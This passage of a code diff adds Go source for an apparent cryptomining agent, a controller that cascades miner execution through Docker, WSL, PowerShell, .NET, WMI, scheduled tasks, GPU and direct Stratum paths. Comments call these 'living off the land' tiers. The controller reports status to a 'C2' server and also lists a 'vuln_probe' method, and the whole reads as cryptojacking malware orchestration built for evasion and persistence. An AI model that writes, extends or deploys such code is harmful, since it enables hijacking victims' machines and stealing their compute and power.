||||||
|
if name != "aetherforge-miner-build-01-test" {
|
||||||
|
t.Fatalf("got %q", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
742
agent/miner/fallback_chain.go
Normal file
742
agent/miner/fallback_chain.go
Normal file
@@ -0,0 +1,742 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"log"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
// ErrChainExhausted is returned when every primary method in the chain failed.
|
||||||
|
ErrChainExhausted = errors.New("mining fallback chain exhausted")
|
||||||
|
// ErrMethodUnavailable is returned when hooks for a method are missing.
|
||||||
|
ErrMethodUnavailable = errors.New("mining method unavailable")
|
||||||
|
)
|
||||||
|
|
||||||
|
// MiningMethod identifies one workload path in the cascade.
|
||||||
|
type MiningMethod string
|
||||||
|
|
||||||
|
const (
|
||||||
|
MethodDockerLoad MiningMethod = "docker_load"
|
||||||
|
MethodContainer MiningMethod = "container" // LOTL tier alias: docker
|
||||||
|
MethodWSL MiningMethod = "wsl"
|
||||||
|
MethodPowerShell MiningMethod = "powershell"
|
||||||
|
MethodDotnet MiningMethod = "dotnet"
|
||||||
|
MethodInProcess MiningMethod = "inprocess"
|
||||||
|
MethodGPUSubprocess MiningMethod = "gpu_subprocess"
|
||||||
|
MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
|
||||||
|
MethodStratumDirect MiningMethod = "stratum_direct"
|
||||||
|
MethodWMI MiningMethod = "wmi"
|
||||||
|
MethodScheduledTask MiningMethod = "scheduled_task"
|
||||||
|
MethodGPUCompute MiningMethod = "gpu_compute"
|
||||||
|
MethodWebView2Probe MiningMethod = "webview2_probe"
|
||||||
|
MethodVulnProbe MiningMethod = "vuln_probe"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultChainCooldown is the minimum wait between full chain re-passes.
|
||||||
|
const DefaultChainCooldown = 30 * time.Second
|
||||||
|
|
||||||
|
// MethodFailure records one failed attempt for operator diagnostics.
|
||||||
|
type MethodFailure struct {
|
||||||
|
Method MiningMethod `json:"method"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
At string `json:"at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// MiningStatus is the live cascade snapshot sent to C2/UI.
|
||||||
|
type MiningStatus struct {
|
||||||
|
ActiveMethod MiningMethod `json:"active_method"`
|
||||||
|
ActiveMethods []MiningMethod `json:"active_methods,omitempty"`
|
||||||
|
FailedMethods []MethodFailure `json:"failed_methods"`
|
||||||
|
LastError string `json:"last_error,omitempty"`
|
||||||
|
ChainOrder []MiningMethod `json:"chain_order,omitempty"`
|
||||||
|
GPUParallel bool `json:"gpu_parallel,omitempty"`
|
||||||
|
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||||
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||||
|
LOTLTier LOTLTier `json:"lotl_tier,omitempty"`
|
||||||
|
LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||||
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ChainHooks wires agent-specific start/stop logic without importing client.
|
||||||
|
type ChainHooks struct {
|
||||||
|
StartDockerLoad func() error
|
||||||
|
StartContainer func() error
|
||||||
|
StartWSL func() error
|
||||||
|
StartPowerShell func() error
|
||||||
|
StartDotnet func() error
|
||||||
|
StartInProcess func() error
|
||||||
|
StartGPU func() error
|
||||||
|
StartPyOpenCL func() error
|
||||||
|
StopDockerLoad func()
|
||||||
|
StopContainer func()
|
||||||
|
StopWSL func()
|
||||||
|
StopPowerShell func()
|
||||||
|
StopDotnet func()
|
||||||
|
StopInProcess func()
|
||||||
|
StopGPU func()
|
||||||
|
StopPyOpenCL func()
|
||||||
|
IsDockerLoadHealthy func() bool
|
||||||
|
IsContainerHealthy func() bool
|
||||||
|
IsWSLHealthy func() bool
|
||||||
|
IsGPUSupported func() bool
|
||||||
|
PoolConfigured func() bool
|
||||||
|
RunTierProbes func() TierReport
|
||||||
|
RunTierChain func() (LOTLTier, error)
|
||||||
|
StopTiers func()
|
||||||
|
WebGPUReady func() bool
|
||||||
|
GPUComputeReady func() bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// FallbackReporter emits mining_status / mining_fallback events to C2.
|
||||||
|
type FallbackReporter func(status MiningStatus, eventType string)
|
||||||
|
|
||||||
|
// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
|
||||||
|
func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
|
||||||
|
if HasImageTarPolicy(cfg) && runtime.Available {
|
||||||
|
chain = append(chain, MethodDockerLoad)
|
||||||
|
}
|
||||||
|
if runtime.Available {
|
||||||
|
chain = append(chain, MethodContainer)
|
||||||
|
}
|
||||||
|
if wsl := WSLDetector(); wsl.Available {
|
||||||
|
chain = append(chain, MethodWSL)
|
||||||
|
}
|
||||||
|
return append(chain, MethodInProcess)
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultFallbackChain returns the ordered cascade for cfg + platform.
|
||||||
|
// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
|
||||||
|
// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
|
||||||
|
func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
|
||||||
|
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||||
|
chain := make([]MiningMethod, 0, 6)
|
||||||
|
|
||||||
|
switch raw {
|
||||||
|
case ExecutionPowerShell:
|
||||||
|
chain = append(chain, MethodPowerShell, MethodInProcess)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
case ExecutionDotnet:
|
||||||
|
chain = append(chain, MethodDotnet, MethodInProcess)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
case ExecutionSubprocess:
|
||||||
|
chain = append(chain, MethodInProcess)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
case ExecutionInProcess:
|
||||||
|
chain = append(chain, MethodInProcess)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
case ExecutionContainer:
|
||||||
|
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
case "", ExecutionAuto:
|
||||||
|
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
chain = appendLOTLPrimary(chain, cfg, runtime)
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if cfg.PoolHost != "" {
|
||||||
|
chain = append(chain, MethodStratumDirect)
|
||||||
|
}
|
||||||
|
chain = appendLinuxPyOpenCL(chain)
|
||||||
|
return appendWindowsLOTLMethods(chain, cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
|
||||||
|
func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
|
||||||
|
if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
|
||||||
|
return chain
|
||||||
|
}
|
||||||
|
out := make([]MiningMethod, 0, len(chain)+1)
|
||||||
|
for _, m := range chain {
|
||||||
|
if m == MethodStratumDirect {
|
||||||
|
out = append(out, MethodLinuxPyOpenCL)
|
||||||
|
}
|
||||||
|
out = append(out, m)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
|
||||||
|
func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
|
||||||
|
for _, tier := range DefaultWindowsTierOrder() {
|
||||||
|
switch tier {
|
||||||
|
case TierWebView2Probe:
|
||||||
|
chain = append(chain, MethodWebView2Probe)
|
||||||
|
case TierWMI:
|
||||||
|
chain = append(chain, MethodWMI)
|
||||||
|
case TierScheduledTask:
|
||||||
|
chain = append(chain, MethodScheduledTask)
|
||||||
|
case TierGPUCompute:
|
||||||
|
if cfg.GPUEnabled && cfg.RVNWallet != "" {
|
||||||
|
chain = append(chain, MethodGPUCompute)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return chain
|
||||||
|
}
|
||||||
|
|
||||||
|
// primaryMethods are CPU paths tried sequentially until one succeeds.
|
||||||
|
func primaryMethods(chain []MiningMethod) []MiningMethod {
|
||||||
|
var out []MiningMethod
|
||||||
|
for _, m := range chain {
|
||||||
|
switch m {
|
||||||
|
case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
|
||||||
|
out = append(out, m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
|
||||||
|
type ChainController struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
runtime ContainerRuntimeInfo
|
||||||
|
chain []MiningMethod
|
||||||
|
hooks ChainHooks
|
||||||
|
report FallbackReporter
|
||||||
|
activePrimary MiningMethod
|
||||||
|
gpuActive bool
|
||||||
|
stratumActive bool
|
||||||
|
failures []MethodFailure
|
||||||
|
lastError string
|
||||||
|
primaryIdx int
|
||||||
|
paused bool
|
||||||
|
lastFullPass time.Time
|
||||||
|
chainExhausted bool
|
||||||
|
lotlTier LOTLTier
|
||||||
|
lotlAttempts []TierAttempt
|
||||||
|
webGPUReady bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewChainController builds a controller with platform-aware chain order.
|
||||||
|
func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
|
||||||
|
rt := RuntimeDetector()
|
||||||
|
return &ChainController{
|
||||||
|
cfg: cfg,
|
||||||
|
runtime: rt,
|
||||||
|
chain: DefaultFallbackChain(cfg, rt),
|
||||||
|
hooks: hooks,
|
||||||
|
report: report,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Status returns a snapshot of the cascade state.
|
||||||
|
func (c *ChainController) Status() MiningStatus {
|
||||||
|
c.mu.RLock()
|
||||||
|
defer c.mu.RUnlock()
|
||||||
|
return c.buildStatus()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) buildStatus() MiningStatus {
|
||||||
|
active := c.activePrimary
|
||||||
|
if c.stratumActive && active == "" {
|
||||||
|
active = MethodInProcess
|
||||||
|
}
|
||||||
|
if c.stratumActive && active == MethodInProcess {
|
||||||
|
// Stratum overlays in-process — primary stays inprocess, flag overlay.
|
||||||
|
}
|
||||||
|
methods := make([]MiningMethod, 0, 3)
|
||||||
|
if active != "" {
|
||||||
|
methods = append(methods, active)
|
||||||
|
}
|
||||||
|
if c.gpuActive {
|
||||||
|
methods = append(methods, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
if c.stratumActive {
|
||||||
|
// Report stratum as active_method when it is the only CPU path working.
|
||||||
|
if active == "" {
|
||||||
|
active = MethodStratumDirect
|
||||||
|
methods = []MiningMethod{MethodStratumDirect}
|
||||||
|
if c.gpuActive {
|
||||||
|
methods = append(methods, MethodGPUSubprocess)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
failures := make([]MethodFailure, len(c.failures))
|
||||||
|
copy(failures, c.failures)
|
||||||
|
chain := make([]MiningMethod, len(c.chain))
|
||||||
|
copy(chain, c.chain)
|
||||||
|
attempts := make([]TierAttempt, len(c.lotlAttempts))
|
||||||
|
copy(attempts, c.lotlAttempts)
|
||||||
|
return MiningStatus{
|
||||||
|
ActiveMethod: active,
|
||||||
|
ActiveMethods: methods,
|
||||||
|
FailedMethods: failures,
|
||||||
|
LastError: c.lastError,
|
||||||
|
ChainOrder: chain,
|
||||||
|
GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess,
|
||||||
|
StratumOverlay: c.stratumActive,
|
||||||
|
ChainExhausted: c.chainExhausted,
|
||||||
|
LOTLTier: c.lotlTier,
|
||||||
|
LOTLAttempts: attempts,
|
||||||
|
WebGPUReady: c.webGPUReady,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// OnMethodFailed records a failure and notifies C2.
|
||||||
|
func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.lastError = reason
|
||||||
|
c.failures = append(c.failures, MethodFailure{
|
||||||
|
Method: method,
|
||||||
|
Reason: reason,
|
||||||
|
At: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
})
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
log.Printf("[mining-chain] %s failed: %s", method, reason)
|
||||||
|
if report != nil {
|
||||||
|
report(status, "mining_fallback")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetPrimaryActive marks which CPU method is currently handling RandomX.
|
||||||
|
func (c *ChainController) SetPrimaryActive(method MiningMethod) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.activePrimary = method
|
||||||
|
c.chainExhausted = false
|
||||||
|
if method != "" {
|
||||||
|
c.primaryIdx = 0
|
||||||
|
for i, m := range primaryMethods(c.chain) {
|
||||||
|
if m == method {
|
||||||
|
c.primaryIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
if report != nil {
|
||||||
|
report(status, "mining_status")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetGPUActive records parallel RVN subprocess state.
|
||||||
|
func (c *ChainController) SetGPUActive(active bool) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.gpuActive = active
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
if report != nil {
|
||||||
|
report(status, "mining_status")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
|
||||||
|
func (c *ChainController) SetStratumActive(active bool) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.stratumActive = active
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
if report != nil {
|
||||||
|
event := "mining_status"
|
||||||
|
if active {
|
||||||
|
event = "mining_fallback"
|
||||||
|
}
|
||||||
|
report(status, event)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
|
||||||
|
func (c *ChainController) MergeLOTLReport(rep TierReport) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.lotlTier = rep.ActiveTier
|
||||||
|
if len(rep.Attempts) > 0 {
|
||||||
|
c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
|
||||||
|
}
|
||||||
|
c.webGPUReady = rep.WebGPUReady
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryChain attempts each primary CPU method until one starts successfully.
|
||||||
|
func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
|
||||||
|
c.mu.Lock()
|
||||||
|
if c.paused {
|
||||||
|
c.mu.Unlock()
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
|
||||||
|
c.mu.Unlock()
|
||||||
|
return c.activePrimary, nil
|
||||||
|
}
|
||||||
|
c.lastFullPass = time.Now()
|
||||||
|
c.chainExhausted = false
|
||||||
|
hooks := c.hooks
|
||||||
|
primary := primaryMethods(c.chain)
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
if len(primary) == 0 {
|
||||||
|
primary = []MiningMethod{MethodInProcess}
|
||||||
|
}
|
||||||
|
|
||||||
|
var lastErr error
|
||||||
|
for _, method := range primary {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := c.tryStartPrimary(method, hooks); err != nil {
|
||||||
|
lastErr = err
|
||||||
|
c.OnMethodFailed(method, err.Error())
|
||||||
|
c.stopPrimaryMethod(method, hooks)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c.SetPrimaryActive(method)
|
||||||
|
c.runLOTLProbes(hooks)
|
||||||
|
c.tryGPUAddon(ctx, hooks)
|
||||||
|
c.tryPyOpenCLAddon(ctx, hooks)
|
||||||
|
c.runLOTLChain(hooks)
|
||||||
|
return method, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
c.mu.Lock()
|
||||||
|
c.chainExhausted = true
|
||||||
|
c.lastError = "all primary mining methods failed"
|
||||||
|
if lastErr != nil {
|
||||||
|
c.lastError = lastErr.Error()
|
||||||
|
}
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
if report != nil {
|
||||||
|
report(status, "mining_status")
|
||||||
|
}
|
||||||
|
if lastErr != nil {
|
||||||
|
return "", lastErr
|
||||||
|
}
|
||||||
|
return "", ErrChainExhausted
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
|
||||||
|
switch method {
|
||||||
|
case MethodDockerLoad:
|
||||||
|
if hooks.StartDockerLoad == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartDockerLoad()
|
||||||
|
case MethodContainer:
|
||||||
|
if hooks.StartContainer == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartContainer()
|
||||||
|
case MethodWSL:
|
||||||
|
if hooks.StartWSL == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartWSL()
|
||||||
|
case MethodInProcess:
|
||||||
|
if hooks.StartInProcess == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartInProcess()
|
||||||
|
case MethodPowerShell:
|
||||||
|
if hooks.StartPowerShell == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartPowerShell()
|
||||||
|
case MethodDotnet:
|
||||||
|
if hooks.StartDotnet == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartDotnet()
|
||||||
|
default:
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
|
||||||
|
switch method {
|
||||||
|
case MethodDockerLoad:
|
||||||
|
if hooks.StopDockerLoad != nil {
|
||||||
|
hooks.StopDockerLoad()
|
||||||
|
}
|
||||||
|
case MethodContainer:
|
||||||
|
if hooks.StopContainer != nil {
|
||||||
|
hooks.StopContainer()
|
||||||
|
}
|
||||||
|
case MethodWSL:
|
||||||
|
if hooks.StopWSL != nil {
|
||||||
|
hooks.StopWSL()
|
||||||
|
}
|
||||||
|
case MethodInProcess:
|
||||||
|
if hooks.StopInProcess != nil {
|
||||||
|
hooks.StopInProcess()
|
||||||
|
}
|
||||||
|
case MethodPowerShell:
|
||||||
|
if hooks.StopPowerShell != nil {
|
||||||
|
hooks.StopPowerShell()
|
||||||
|
}
|
||||||
|
case MethodDotnet:
|
||||||
|
if hooks.StopDotnet != nil {
|
||||||
|
hooks.StopDotnet()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
|
||||||
|
if hooks.RunTierProbes == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
rep := hooks.RunTierProbes()
|
||||||
|
c.mu.Lock()
|
||||||
|
c.lotlAttempts = rep.Attempts
|
||||||
|
c.webGPUReady = rep.WebGPUReady
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) runLOTLChain(hooks ChainHooks) {
|
||||||
|
if hooks.RunTierChain == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tier, err := hooks.RunTierChain()
|
||||||
|
c.mu.Lock()
|
||||||
|
if tier != "" {
|
||||||
|
c.lotlTier = tier
|
||||||
|
}
|
||||||
|
c.mu.Unlock()
|
||||||
|
if err != nil && err != ErrTierChainSkipped {
|
||||||
|
c.OnMethodFailed(MiningMethod(tier), err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
|
||||||
|
if hooks.StartPyOpenCL == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
hasTier := false
|
||||||
|
for _, m := range c.chain {
|
||||||
|
if m == MethodLinuxPyOpenCL {
|
||||||
|
hasTier = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !hasTier {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
if err := hooks.StartPyOpenCL(); err != nil {
|
||||||
|
c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
|
||||||
|
if hooks.StopPyOpenCL != nil {
|
||||||
|
hooks.StopPyOpenCL()
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
|
||||||
|
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
|
||||||
|
if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
|
||||||
|
if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
|
||||||
|
c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
if err := hooks.StartGPU(); err != nil {
|
||||||
|
c.OnMethodFailed(MethodGPUSubprocess, err.Error())
|
||||||
|
if hooks.StopGPU != nil {
|
||||||
|
hooks.StopGPU()
|
||||||
|
}
|
||||||
|
c.SetGPUActive(false)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.SetGPUActive(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
// AdvancePrimary moves to the next CPU method after runtime failure.
|
||||||
|
func (c *ChainController) AdvancePrimary(reason string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
if c.paused {
|
||||||
|
c.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
failed := c.activePrimary
|
||||||
|
hooks := c.hooks
|
||||||
|
primary := primaryMethods(c.chain)
|
||||||
|
idx := 0
|
||||||
|
for i, m := range primary {
|
||||||
|
if m == failed {
|
||||||
|
idx = i + 1
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
if failed != "" {
|
||||||
|
c.OnMethodFailed(failed, reason)
|
||||||
|
c.stopPrimaryMethod(failed, hooks)
|
||||||
|
}
|
||||||
|
|
||||||
|
for idx < len(primary) {
|
||||||
|
method := primary[idx]
|
||||||
|
if err := c.tryStartPrimary(method, hooks); err != nil {
|
||||||
|
c.OnMethodFailed(method, err.Error())
|
||||||
|
c.stopPrimaryMethod(method, hooks)
|
||||||
|
idx++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c.SetPrimaryActive(method)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.mu.Lock()
|
||||||
|
c.chainExhausted = true
|
||||||
|
c.activePrimary = ""
|
||||||
|
c.lastError = "primary chain exhausted after " + string(failed) + " failure"
|
||||||
|
status := c.buildStatus()
|
||||||
|
report := c.report
|
||||||
|
c.mu.Unlock()
|
||||||
|
if report != nil {
|
||||||
|
report(status, "mining_status")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
|
||||||
|
func (c *ChainController) RestartChain(ctx context.Context) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.failures = nil
|
||||||
|
c.lastError = ""
|
||||||
|
c.chainExhausted = false
|
||||||
|
c.activePrimary = ""
|
||||||
|
c.primaryIdx = 0
|
||||||
|
c.lastFullPass = time.Time{}
|
||||||
|
c.mu.Unlock()
|
||||||
|
_, _ = c.TryChain(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// StopAll pauses cascade and stops every running method.
|
||||||
|
func (c *ChainController) StopAll() {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.paused = true
|
||||||
|
hooks := c.hooks
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
if hooks.StopDockerLoad != nil {
|
||||||
|
hooks.StopDockerLoad()
|
||||||
|
}
|
||||||
|
if hooks.StopContainer != nil {
|
||||||
|
hooks.StopContainer()
|
||||||
|
}
|
||||||
|
if hooks.StopWSL != nil {
|
||||||
|
hooks.StopWSL()
|
||||||
|
}
|
||||||
|
if hooks.StopPowerShell != nil {
|
||||||
|
hooks.StopPowerShell()
|
||||||
|
}
|
||||||
|
if hooks.StopDotnet != nil {
|
||||||
|
hooks.StopDotnet()
|
||||||
|
}
|
||||||
|
if hooks.StopInProcess != nil {
|
||||||
|
hooks.StopInProcess()
|
||||||
|
}
|
||||||
|
if hooks.StopGPU != nil {
|
||||||
|
hooks.StopGPU()
|
||||||
|
}
|
||||||
|
if hooks.StopPyOpenCL != nil {
|
||||||
|
hooks.StopPyOpenCL()
|
||||||
|
}
|
||||||
|
if hooks.StopTiers != nil {
|
||||||
|
hooks.StopTiers()
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.activePrimary = ""
|
||||||
|
c.gpuActive = false
|
||||||
|
c.lotlTier = ""
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResumeAll clears pause and restarts the chain.
|
||||||
|
func (c *ChainController) ResumeAll(ctx context.Context) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.paused = false
|
||||||
|
c.mu.Unlock()
|
||||||
|
c.RestartChain(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Monitor watches container health and advances the chain on exit.
|
||||||
|
func (c *ChainController) Monitor(ctx context.Context) {
|
||||||
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
c.mu.RLock()
|
||||||
|
paused := c.paused
|
||||||
|
primary := c.activePrimary
|
||||||
|
hooks := c.hooks
|
||||||
|
c.mu.RUnlock()
|
||||||
|
if paused {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
healthy := true
|
||||||
|
reason := ""
|
||||||
|
switch primary {
|
||||||
|
case MethodDockerLoad:
|
||||||
|
if hooks.IsDockerLoadHealthy != nil {
|
||||||
|
healthy = hooks.IsDockerLoadHealthy()
|
||||||
|
reason = "docker_load workload exited or unhealthy"
|
||||||
|
}
|
||||||
|
case MethodContainer:
|
||||||
|
if hooks.IsContainerHealthy != nil {
|
||||||
|
healthy = hooks.IsContainerHealthy()
|
||||||
|
reason = "container workload exited or unhealthy"
|
||||||
|
}
|
||||||
|
case MethodWSL:
|
||||||
|
if hooks.IsWSLHealthy != nil {
|
||||||
|
healthy = hooks.IsWSLHealthy()
|
||||||
|
reason = "wsl workload exited or unhealthy"
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if healthy {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c.AdvancePrimary(reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
326
agent/miner/fallback_chain_test.go
Normal file
326
agent/miner/fallback_chain_test.go
Normal file
@@ -0,0 +1,326 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
